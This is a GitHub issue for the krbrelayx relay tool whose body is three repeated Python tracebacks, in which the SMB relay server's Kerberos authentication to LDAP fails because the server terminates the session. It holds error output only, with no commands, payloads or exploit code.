self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions